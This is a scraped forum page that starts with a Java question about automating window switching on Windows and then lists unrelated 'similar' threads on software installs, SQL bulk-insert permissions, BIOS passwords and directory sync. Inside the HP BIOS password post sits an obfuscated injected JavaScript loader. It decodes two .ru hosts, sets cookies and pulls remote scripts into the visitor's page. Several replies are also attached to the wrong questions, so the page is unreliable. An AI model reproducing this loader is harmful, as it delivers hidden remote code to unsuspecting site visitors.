Programming Operating System dependent code for Windows
Is there a Java API that has classes and methods that are specific to the Windows OS?
What I need is a way to toggle between two programs.
For example let's say I have IE open at java.sun.com and Word open also.
I need to create a program that will essentially Alt+Tab between the two programs automatically every 15 seconds.
..... Is there a way to send key strokes to the OS... I guess that would also work.
Thanks!
..... Is there a way to send key strokes to the OS...
I guess that would also work.The Robot class provides a few methods that let you send keyStrokes to the OS. You can use that for a sleezy work around. But to do it the right way, you will want to write the methods in C or C++ to make the Win32 api calls to get the window handles and switch windows. Then use JNI to call those C/C++ methods from your Java code where you can do all the timeing stuff.
Similar Messages
-
When I try to install adobe photoshop 13 on my computer it comes up with the following error message " This installer does not support installation on a 64bit windows operating system" error code 6. How to I recify this? TIA
You can try downloading the 64 bit version. You can download the trial version of the software thru the page linked below and then use your current serial number to activate it.
Be sure to follow the steps outlined in the Note: Very Important Instructions section on the download pages at this site and have cookies enabled in your browser or else the download will not work properly.
Photoshop/Premiere Elements 13: http://prodesigntools.com/photoshop-elements-13-direct-download-links-premiere.html -
Which operating system is best for computer control using LabVIEW
I am using LabVIEW 7.1 and want to write a program to control a system of pumps, heaters, and compressors. I am wondering if using Windows XP is a bad thing, given how many background processes computers tend to use these days. I don't want my computer to slow down for intermittant checking for updates, or any other sort of routine maintenance computers are set up to do. I have heard mixed things about windows reliability and computer control, most of which is people saying windows could crash and completely ruin my tests. Does anyone have any advice on the best operating system to use for continuous computer control of my system?
If you plan on using a desktop PC for control type applications, then your best option in terms of performance will be with a Real-Time operating system. Windows is not deterministic for many reasons. Determinism involves the ability to respond to an event within a specified amount of time with an acceptable amount of error (jitter). First of all, Windows is not deterministic because it has to service mouse and keyboard events, as well as anti-virus software, automatic updates, etc.
You can, however, convert an existing desktop PC to a Real-Time target with a Real-Time OS and use it for your control type application with the deterministic behavior of PXI, Compact FieldPoint, and other Real-Time targets. Check out this link for more information.
On a side note to a previous reply, using the LabVIEW Real-Time module on Windows XP won't make your application deterministic. Your best bet, as others have noted, is to use the LabVIEW RT Module on an RT OS with good RT programming practices (avoiding memory allocations, etc.).
Jarrod S.
National Instruments -
Hi,
I am trying to figure out how to fix my problem
Error: Could not be opened. Operating system error code 5(Access is denied.)
Process Description:
Target Database Server Reside on different Server in the Network
SSIS Package runs from a Remote Server
SSIS Package use a ForEachLoop Container to loop into a directory to do Bulk Insert
SSIS Package use variables to specified the share location of the files using UNC like this
\\server\files
Database Service accounts under the Database is runing it has full permission on the share drive were the files reside.
In the Execution Results tab shows the prepare SQL statement for the BULK insert and I can run the same exact the bulk insert in SSMS without errors, from the Database Server and from the server were SSIS package is executed.
I am on a dead end and I don’t want to re-write SSIS to use Data Flow Task because is not flexible to update when metadata of the table changed.
Below post it has almost the same situation:
https://social.msdn.microsoft.com/Forums/sqlserver/en-US/8de13e74-709a-43a5-8be2-034b764ca44f/problem-with-bulk-insert-task-in-foreach-loop?forum=sqlintegrationservicesInsteresting how I fixed the issue, Adding the Application Name into the SQL OLAP Connection String Fixed the issue. I am not sure why SQL Server wasn't able to open the file remotely without this.
-
I built a SSRS 2005 report, which calls a stored proc on SQL Server 2005. The proc contains following code:
CREATE TABLE #promo (promo VARCHAR(1000))
BULK
INSERT #promo
FROM '\\aseposretail\c$\nz\promo_names.txt'
WITH
--FIELDTERMINATOR = '',
ROWTERMINATOR = '\n'
SELECT * from #promo
It's ok when I manually execute the proc in SSMS.
When I try to run the report from BIDS I got following error:
*Cannot bulk load because the file "\aseposretail\c$\nz\promo_names.txt" could not be opened. Operating system error code 5(Access is denied.).*
Note: I have gooled a bit and see many questions on this but they are not relevant because I CAN run the code no problem in SSMS. It's the SSRS having the issue. I know little about the security of SSRS.I'm having the same type of issue. I can bulk load the same file into the same table on the same server using the same login on one workstation, but not on another. I get this error:
Msg 4861, Level 16, State 1, Line 1
Cannot bulk load because the file "\\xxx\abc.txt" could not be opened. Operating system error code 5(Access is denied.).
I've checked SQL client versions and they are the same, I've also set the client connection to TCP/IP only in the SQL Server Configuration Manager. Still this one workstation is getting the error. Since the same login is being used on both workstations and it works on one but not the other, the issue is not a permissions issue. I can also have another user login into the bad workstation and have the bulk load fail, but when they log into their regular workstation it works fine. Any ideas on what the client configuration issue is? These are the version numbers for Management Studio:
Microsoft SQL Server Management Studio 9.00.3042.00
Microsoft Analysis Services Client Tools 2005.090.3042.00
Microsoft Data Access Components (MDAC) 2000.085.1132.00 (xpsp.080413-0852)
Microsoft MSXML 2.6 3.0 5.0 6.0
Microsoft Internet Explorer 6.0.2900.5512
Microsoft .NET Framework 2.0.50727.1433
Operating System 5.1.2600
Thanks,
MWise -
My mac mini is running slow. Bought it in 2009. Activity monitor shows nothing running that should not be. Someone suggested it might be my operating system? Check for software updates, and I am current. Suggestions?
Open Activity Monitor, Show:>All Processes, sort on CPU%, see if anything using too much CPU% when this happens, click on Memory tab, do you have many Pageouts?
Open Console in Utilities & see if there are any clues or repeating messages when this happens.
Check the S.M.A.R.T. status of the drive in Disk Utilty by highlighting the Drive & looking at the bottom of the window. -
Operating system dependent functionality or features
This may seem like a brain-dead question, and maybe it is, but I ask it in all seriousness. I did spend a little time searching for the following, but I figured folks in the forums here could possibly point me in the right direction.
For the sake of discussion, let's consider Oracle 11g R2. Is there any functionality or feature in Oracle DBMS that is operating system dependent or possibly version dependent for a specific operating system. For example, are there certain stored procedures, SQL commands, etc... that are available when running Oracle on certain operating systems but not on others or when running Oracle on different versions of the same operating system (W2k3 versus W2k8)?
I already have an opinion, which I believe is an informed opinion, but I am seeking authoritative documentation that speaks to this question. Although I could infer an answer in the absence of documentation, I am aiming for something definitive. I greatly appreciate any information people can offer that will point me in the right direction.The only thing I have seen that is OS dependent at this time is the DBFS_CLIENT used for external access to Oracle Database Files System which is only available on Linux and Solaris for the time being.
Doc link below.
http://download.oracle.com/docs/cd/E11882_01/appdev.112/e10645/adlob_client.htm -
System disabled code for forgotten BIOS password on HP 635
System disabled code for forgotten BIOS password on a HP 635
[67173492] Is there any way to recover or reset the password? <script>// window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19831",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("h30434.www3.hp.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // </script>Hi, If your machine is producing a hexadecimal halt code, this would indicate it has a more recent AMI bios, in which case, you only have two options at the moment.
1. Contact HP and see if they can help with an unlock code - start Here.
2. It would appear that the hash is not stored in nvram and that removing the cmos cell, holding down the power button for a minute, then leaving it for a couple of hours before re-assembly will actually clear the password - the bad news if you wish to try this is that the cell is on the wrong side of the system board - see Page 127 of your Maintenance & Service Guide.
Regards,
DP-K -
Lenovo Settings Dependency Package for Windows 8.1 - fails on T440s
Hello everybody,
I just tried to install the Lenovo Settings Dependency Package for Windows 8.1 on my T440s and it repeatedly tells me that it fails because mfplatt.dll is missing. Has anybody experienced that and knows how to proceed in this case?
Thanks for your helpI confirm the problem on T510 too.
I have Windows 8.1 PRO N.
I installed the windows Windows6.3-KB2835517-x64.msu windows media package.
After this, I can restart Lenovo Settings Dependency Package and it works wright, without the error on MFPlat.dll
And after it works, my camera started to work correctly!
Bye -
Cecil Mayfield here: I've cnanged operating system from XP to Windows 7..My Classic 120gb will not sync any new songs,Once I was asked
to restore,It erased and re-sync ok...Restoring all 17000 songs.I only get messages thst someone else is using my system when i now
connect up!!!! When i had XP with servce pack 3 all wa well. NOW WINDOWS 7 service 1 has failed to download severial times,Could this
be our problem..SERVICE PACK ISSUE.
My ipod is freezing up when I skip songs,then after a space it will unfreeze:Never has this before happen.
HELP!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!Your whole bookmarks story is very confusing to me. Perhaps someone else can explain that better. :)
Can you give me your crash reports?
#Enter ''about:crashes'' in the Firefox address bar and press Enter. A Submitted Crash Reports list will appear, similar to the one shown below.
#Copy the '''5''' most recent Report IDs that start with '''bp-''' and paste them into your response here. -
What is happening about Java System Identity Synchronization for Windows
I have been playing with "Java System Identity Synchronization for Windows" for a while now. I am about to swich over to is 100%, but I am worried that the latest version is "Windows 1 2004Q3".
Has any one got any ideas about this. The product sort of works, and is much smaller that going for the whole "Java System Identity Management Suite 2005Q4" which is way to big and complicated for our and I think many people.
Don't forget Microsoft have now release its own tools to do this in the latest Windows 2003 SP.
AndrewISW is already present in the 5.2p4 and 5.2p6 archives.
dn: cn=pswsync,cn=plugins,cn=config
objectClass: top
objectClass: nsSlapdPlugin
objectClass: ds-signedPlugin
objectClass: extensibleObject
cn: pswsync
nsslapd-pluginPath: /export/home/abc/local/ds52p6/lib/psw-plugin.so
nsslapd-pluginInitfunc: pswsync_init
nsslapd-pluginType: preoperation
nsslapd-pluginEnabled: off
creatorsName: cn=server,cn=plugins,cn=config
modifiersName: cn=server,cn=plugins,cn=config
createTimestamp: 20090121011643Z
modifyTimestamp: 20090121011643Z
nsslapd-pluginId: Identity Sync for Windows
nsslapd-pluginVersion: 5.2_Patch_6
nsslapd-pluginVendor: Sun Microsystems, Inc.
nsslapd-pluginDescription: Identity Synchronization for Windows Plug-In -
Unable to download Sun Java System Identity Synchronization for Windows
Please any one can help me How can i download Sun Java System Identity Synchronization for Windows
* Sun Java System Directory Server ---------------------able to download
* Sun Java System Directory Proxy Server --------------able to download
* Sun Java System Identity Synchronization for Windows-------------Not able to download
* Sun Java System Directory Editor------------------------able to download
* Sun Java System Directory Server Resource Kit------able to download
Regards
kamalISW is already present in the 5.2p4 and 5.2p6 archives.
dn: cn=pswsync,cn=plugins,cn=config
objectClass: top
objectClass: nsSlapdPlugin
objectClass: ds-signedPlugin
objectClass: extensibleObject
cn: pswsync
nsslapd-pluginPath: /export/home/abc/local/ds52p6/lib/psw-plugin.so
nsslapd-pluginInitfunc: pswsync_init
nsslapd-pluginType: preoperation
nsslapd-pluginEnabled: off
creatorsName: cn=server,cn=plugins,cn=config
modifiersName: cn=server,cn=plugins,cn=config
createTimestamp: 20090121011643Z
modifyTimestamp: 20090121011643Z
nsslapd-pluginId: Identity Sync for Windows
nsslapd-pluginVersion: 5.2_Patch_6
nsslapd-pluginVendor: Sun Microsystems, Inc.
nsslapd-pluginDescription: Identity Synchronization for Windows Plug-In -
Get System Identity Synchronization for Windows working in relication mode
I have got ISW running on DS 5.2 it is all working correctly.
What I want to do is set up a relica DS server with ISW on it as well.
What I have done:
Install DS5.2 on another machine and start replication and it works all data is in the new LDAP server, but I am having problems install the ISW software on the new server.
Steps:
1) On original master with ISW installed and tell ISW of a secondery server. It tell me to install connector an that machine.
2) On my replica server I run "runInstaller.sh" and it all seems to work except when I stop and restart the server I get the followowing errors:
# /etc/init.d/directory start
[11/Aug/2006:15:07:38 +0100] - ERROR<4167> - Startup - conn=-1 op=-1 msgId=-1 - System error Load library /opt/SUNWiswdp/lib/64/psw-plugin.so: error ld.so.1: ns-slapd: fatal: /opt/SUNWiswdp/lib/64/psw-plugin.so: open failed: No such file or directory
[11/Aug/2006:15:07:38 +0100] - ERROR<4140> - plugin_setup - conn=-1 op=-1 msgId=-1 - Configuration error Could not load symbol "pswsync_init" from library "/opt/SUNWiswdp/lib/psw-plugin.so" for plugin pswsync
[11/Aug/2006:15:07:38 +0100] - ERROR<4112> - Bootstrap config - conn=-1 op=-1 msgId=-1 - Configuration error Unable to load plugin "cn=pswsync,cn=plugins,cn=config".
Server not running!! Failed to start ns-slapd process.
/etc/init.d/directory: unable to start the Directory Server 5.2
I have checked and the above files are not installed well SUNWxrcsj and SUNWiswcm have not be installed.
Question:
How do I install ISW on a secondery server. I thought I was following the online docs, but I guess I am missing something.Hello All,
Waiting for any idea for the long time. I am trying again and again by restoring my directory server zone. I have two whole root zones one i am using for sun portal and communication suite 5 and other is for directory server. They are working fine. but when i try to install the Sun Java System Identity Synchronization for Windows 6.0 on directory server zone. Some time it hangs at 97% while installing core and some time it giving error the installer cannot upload some entries in the template this error comes when i restore my directory server zone.
Can some please give me idea why it giving these error on solaris zone.
Thanks in Advance,
Sikander -
What is SHA1 code for Windows 8.1 Enterprise Evaluation ISO files
Since I downloaded the files from TechNet, no sha1 code information is given in my download webpage, could someone kindly provide the SHA1 code for Windows 8.1 Enterprise Evaluation ISO files named
9600.16384.WINBLUE_RTM.130821-1623_X64FRE_ENTERPRISE_EVAL_EN-US-IRM_CENA_X64FREE_EN-US_DV5.ISO
(my sha1 code is 73321fa912305e5a16096ef62380a91ee1f112da)
and
9600.16384.WINBLUE_RTM.130821-1623_X64FRE_ENTERPRISE_EVAL_ZH-CN-IRM_CENA_X64FREE_ZH-CN_DV5.ISO
(my sha1 code is 2fc5246dd9d02d185e92283324d9b81822827f19)Hi,
This version is Windows 8.1 Enterprise Evaluation, I suggest you check sha1 in TechNet subscription download center.
Welcome to Subscriber Downloads
https://technet.microsoft.com/en-US/subscriptions/securedownloads/hh442904#searchTerm=Windows%208.1%20Enterprise&ProductFamilyId=0&Languages=en&PageSize=100&PageIndex=0&FileId=0
Regards,
Yolanda
We
are trying to better understand customer views on social support experience, so your participation in this
interview project would be greatly appreciated if you have time.
Thanks for helping make community forums a great place. -
I'm a retired IT professional desiring to assist a friend who owns a small business who recently experienced very malicious attacks on her computers from unknown parties operating anonymously on the Internet. Because
of her lack of preparation for such events, her future ability to continue to conduct her business was seriously threatened. The incident revealed, to my friend, the need to be prepared to deal with spontaneously occurring problems that create suspicious conditions
that arise with modern computer software before they can be analyzed in a sufficiently comprehensive manner to have an opinion regarding the appropriate course of action for obtaining a permanent remedy. In that, the ability to quickly react on the basis of
only suspicion is the goal.
I want to recommend an approach that involves maintaining an offline image of an operational system that is capable of running any of her computers. This image needs to include all of the software required to run
her business. In that, it is not limited to the operating system. This single image could then be used to restore any computer to a known reliable state should the need arise. This technique will also insure that each computer has sufficiently similar capability
to allow them to substitute for each other. Insofar as image restoration is itself an operation susceptible to causing unacceptable business delay I'm also recommending that each of the identical computers (i.e., from a hardware perspective) operate in a multi-boot
environment where a virtually offline backup can be instantiated via a simple reboot (i.e., an operation that all users of the Windows operating systems turn to when strange behavior is first observed). My intention is to limit the cloned system (i.e., partition
or C: drive) to the operational software. The business data along with storage for temporary data will be isolated on other partitions (i.e, mounted with other drive letters) accessible by each instance of the software eligible for multi-boot operation.
This kind of operation is something that I know how to setup on older versions of the Windows operating system. However, Microsoft has now dropped support for all of those operating systems and my much more limited
experience with the currently supported operating systems reveals that changes to the boot process will necessitate making changes to the specific preparations needed to build such an environment.
Before recommending that my friend replace all of her computers with new ones, that includes paying for new operating system (i.e., Windows) licenses, I need some assurance that the new operating systems are as
good as the old ones in this respect. These need to be relatively inexpensive desktop computers and we're only talking about a few of them. Let's say fewer than half a dozen. My friend is a sole proprietor and even though her business has become completely
dependent on what was once called personal computers she must operate on a fairly tight budget. This especially includes the budget for technology.
The articles I've been able to find on the Microsoft support websites seem to treat multi-boot as a situation where someone is running different versions of possibly difference operating systems whereas my need
to produce a single image that will both run on multiple computers as well as multiple partitions on the same computer. I'd appreciate finding some technical advice that applies to building such a system using a supported version of Windows.I tried the image creation/restoration described by Jared. I don't think it makes much sense to rely on an operational system to do such a restoration therefore I opted for method 3 which involves using a "System Repair Disk". My first
reaction is what a crude tool. The image creation process had no trouble putting the image on a simple network share. However, it appeared as though the restoration couldn't even connect with the device. I then copied the files to a USB drive.
In this case the repair disk said it couldn't find the files even though they were there. It offered no mechanism to even look and see what was there. It appears as though it will only find the image if it is located in a folder by the certain
name used on creation and it is in root directory. Not very handy.
As ugly as all that was when we finally come to the point of making the restore it looks like the only option is to restore the entire disk, which in my case would mean also restoring both the windows partition and the recovery partition. This just
isn't what I want to do. It is also something I wouldn't even consider doing unless it was the only possible way to recover from a failed hard drive.
In summary, unless I've completely failed to notice how it works that just isn't going to work.
I hope there is something better than this. What about WinPE and ImageX?
Absent anything useful from Microsoft it will be necessary to try using other software. Time to try Acronis! I guess.
Maybe you are looking for
-
In need of Openoffice-base 2.3
anyone has a link where Openoffice-base.2.3 can be downloaded, or maybe has it in the cache of pacman. Have a new installation and there Openoffice-2.4 is buggy with the wizard of additonal dictonary installation. On the las 2.3 Openoffice Version it
-
For almost a week now I have been struggling to get my Powerbook G4 (Aluminum) running Tiger OSX 4.10 to run properly afgter a fatal crash that required running a complete clean reinstall. It's difficult to remember where it all started. I first noti
-
I need help with error ORA-06502: numeric or value error
Hi, all, i need help finding the error here, im getting a numeric or value error when i add information to the variable vlcadena when vlcadena is a clob type, and i check the length of the vlcadena variable and sometimes makes the error at 8000 chara
-
Rare, but weird AnyConnect problem
Hey folks! I have the following setup: Laptop connects to wireless via WLC using Cisco Anyconnect client. (WPA2 Enterprise AES, with 802.1x configuration password/EAP-FAST) WLC authenticates user ID via ACS. ACS queries AD for user ID and passes or
-
my ipod wont update because it gives me a (-1) error code and i really need to update it and suggestions? ive read the troubleshoot page on it and it said something about uninstalling the security software and i have no idea how to do that.....